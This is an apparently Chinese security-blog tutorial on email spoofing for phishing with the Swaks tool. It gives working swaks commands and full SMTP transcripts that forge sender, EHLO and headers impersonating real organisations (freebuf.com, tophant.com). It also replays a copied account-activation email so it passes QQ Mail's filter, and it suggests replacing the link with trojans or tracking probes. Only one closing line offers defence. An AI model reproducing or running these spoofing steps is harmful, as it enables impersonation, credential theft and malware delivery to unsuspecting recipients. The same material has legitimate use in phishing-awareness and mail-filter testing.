钓鱼邮件初探:黑客是如何进行邮件伪造的?
免责声明:本站提供安全工具、程序(方法)可能带有攻击性,仅供安全研究与教学之用,风险自负!
现如今的钓鱼邮件都是通过注册相似的邮箱,或者设置邮箱的显示名称,盼着被害人有看走眼的那一刻,轻信邮件的内容。这种方法需要一定的社工技巧,以及诱导性的语言来诱使被害人上钩。但是对于有一定的经验以及眼力的人来说,还是可以识破骗子的伎俩。
下面我要介绍的这款工具可以最大程度的欺骗你的邮箱,更不要提你的眼睛。当然,此方法不是适用于任何邮箱,毕竟每种邮箱的过滤机制都不相同。gmail在这方面就做的不错。
Swaks – SMTP界的瑞士军刀
安装:kali中自带,或者从作者网页下载
基本用法:
swaks –to <要测试的邮箱> 用来测试邮箱的连通性
root@kali:~# swaks --to xxxx@qq.com === Trying mx3.qq.com:25... === Connected to mx3.qq.com. <- 220 newmx59.qq.com MX QQ Mail Server -> EHLO kali <- 250-newmx59.qq.com <- 250-SIZE 73400320 <- 250-STARTTLS <- 250 OK -> MAIL FROM:<root@kali> <- 250 Ok -> RCPT TO:<xxxx@qq.com> <- 250 Ok -> DATA <- 354 End data with <CR><LF>.<CR><LF> -> Date: Tue, 05 Jan 2016 23:15:11 -0500 -> To: xxxx@qq.com -> From: root@kali -> Subject: test Tue, 05 Jan 2016 23:15:11 -0500 -> X-Mailer: swaks v20130209.0 jetmore.org/john/code/swaks/ -> -> This is a test mailing -> -> . <** 550 Mail content denied. http://service.mail.qq.com/cgi-bin/help?subtype=1&&id=20022&&no=1000726 -> QUIT <- 221 Bye === Connection closed with remote host.
前面都返回250ok,说明该邮箱存在,并且可以正常收信。最后可以看到qq邮箱返回550错误,qq官方给出的出错原因:该邮件内容涉嫌大量群发,并且被多数用户投诉为垃圾邮件。
我们可以继续对邮件进行伪造,来绕过qq邮箱的判断
比如:
swaks --to xxxx@qq.com --from info@freebuf.com --ehlo freebuf.com --body hello --header "Subject: hello"
其中:
–from <要显示的发件人邮箱>
–ehlo <伪造的邮件ehlo头>
–body <邮件正文>
–header <邮件头信息,subject为邮件标题>
root@kali:~# swaks --to xxxx@qq.com --from info@freebuf.com --ehlo freebuf.com --body hello --header "Subject: hello" === Trying mx3.qq.com:25... === Connected to mx3.qq.com. <- 220 newmx.qq.com MX QQ Mail Server -> EHLO freebuf.com <- 250-newmx.qq.com <- 250-SIZE 73400320 <- 250-STARTTLS <- 250 OK -> MAIL FROM:<info@freebuf.com> <- 250 Ok -> RCPT TO:<xxxx@qq.com> <- 250 Ok -> DATA <- 354 End data with <CR><LF>.<CR><LF> -> Date: Tue, 05 Jan 2016 23:23:09 -0500 -> To: xxxx@qq.com -> From: info@freebuf.com -> Subject: hello -> X-Mailer: swaks v20130209.0 jetmore.org/john/code/swaks/ -> -> hello -> -> . <- 250 Ok: queued as -> QUIT <- 221 Bye === Connection closed with remote host.
在你ip没有被qq邮箱band的情况下,邮件可以正常发送,返回250 ok。
到这一步基本上可以满足伪造邮件的要求了,但是qq邮箱会有安全提示,不过在不注意的情况下,基本上普通用户会轻信邮件中的内容。
高级用法:
使用swaks其实还可以进行更高级的邮件伪造,几乎可以伪造邮件中的每一个参数。
–data <源邮件>
首先,我们需要一份正常的邮件
点击显示邮件原文,把原文复制出来,保存为email.txt
其中的received可以都删除,该项为接收信息,发信中不需要。to项也可以删除,可以直接用swaks –to来代替。
注意不要忘了加–from 否则qq邮箱会报由kali代发……
swaks --data ./Desktop/email.txt --to xxxx@qq.com --from services@tophant.com
=== Trying mx3.qq.com:25... === Connected to mx3.qq.com. <- 220 newmx.qq.com MX QQ Mail Server -> EHLO kali <- 250-newmx.qq.com <- 250-SIZE 73400320 <- 250-STARTTLS <- 250 OK -> MAIL FROM:<services@tophant.com> <- 250 Ok -> RCPT TO:<xxxx@qq.com> <- 250 Ok -> DATA <- 354 End data with <CR><LF>.<CR><LF> -> X-QQ-mid: bizesmtp1t1452053499t679t108 -> X-QQ-SSF: A0100000002000F16x90000A0000000 -> X-QQ-FEAT: JN+C/NT9bLPRA1qtkTz2XI2YtLAH2K0SriLtB4o1q8I8MwPIq85lzXVAE4t7b -> OaepuNhlRjNMuNhLJH2pbIQ3JkVf4MP4TXQi2HVPIG8N8dUf6GgxSJyMKya1U+CgOSvNgnP -> bbplbVZjkAVzVuoZOc03UetuyeF1A3SpS70fm7O8nzDqx918Tpsf+n3dlMN6UaAEV3SJycL -> 1JuHYi2/yTQ7J6XJ4bMhJRRbRROkDmpNEgqGw1Sfo66A/oJUz0rf4tLEr7HgNuls18LrqZV -> jYfpcX5wglT4lxLNkHZRNBshk= -> Date: Wed, 6 Jan 2016 12:11:39 +0800 -> Return-Path: services@tophant.com -> From: =?utf-8?B?RnJlZUJ1Zi/mvI/mtJ7nm5LlrZDmnI3liqHlm6LpmJ8=?= <services@tophant.com> -> Subject: =?utf-8?B?RnJlZUJ1Zi/mvI/mtJ7nm5LlrZDotKbmiLfmv4DmtLvpgq7ku7Y=?= -> Message-ID: <34db99d2b030c0f7b34bd2c6beca9666@account.tophant.com> -> X-Priority: 3 -> X-Mailer: PHPMailer 5.1 (phpmailer.sourceforge.net) -> MIME-Version: 1.0 -> Content-Type: multipart/alternative; -> boundary="b1_34db99d2b030c0f7b34bd2c6beca9666" -> -> -> --b1_34db99d2b030c0f7b34bd2c6beca9666 -> Content-Type: text/plain; charset = "utf-8" -> Content-Transfer-Encoding: 8bit -> -> FreeBuf/æ¼æ´žç›’å账户激活邮件 -> -> -> --b1_34db99d2b030c0f7b34bd2c6beca9666 -> Content-Type: text/html; charset = "utf-8" -> Content-Transfer-Encoding: 8bit -> -> 尊敬的FreeBuf/漏洞盒子用户: -> 您好,您可以点击以下链接激活您的账号:<BR><A href="https://account.tophant.com/register/activation/token/c5023007b72363de7085504cf922d0c6" target=_blank>https://account.tophant.com/register/activation/token/c5023007b72363de7085504cf922d0c6伪造成功,你还敢点这条链接么</A><BR><BR>本邮件由系统自动发出,请勿回复。 -> -> 感谢您的使用。 -> FreeBuf/漏洞盒子管理团队 -> -> -> -> --b1_34db99d2b030c0f7b34bd2c6beca9666-- -> -> . <- 250 Ok: queued as -> QUIT <- 221 Bye === Connection closed with remote host.
发送成功,qq邮箱没报垃圾邮件,也没报有害。
伪造成功,这超链接可以换成你喜欢的各种探针啊,马啊之类的,在加上一点社工技巧,在APT横行的年代,自求多福吧。
解决办法:遇到可疑邮件要查看源邮件,判断发信人ip是否为可信任的ip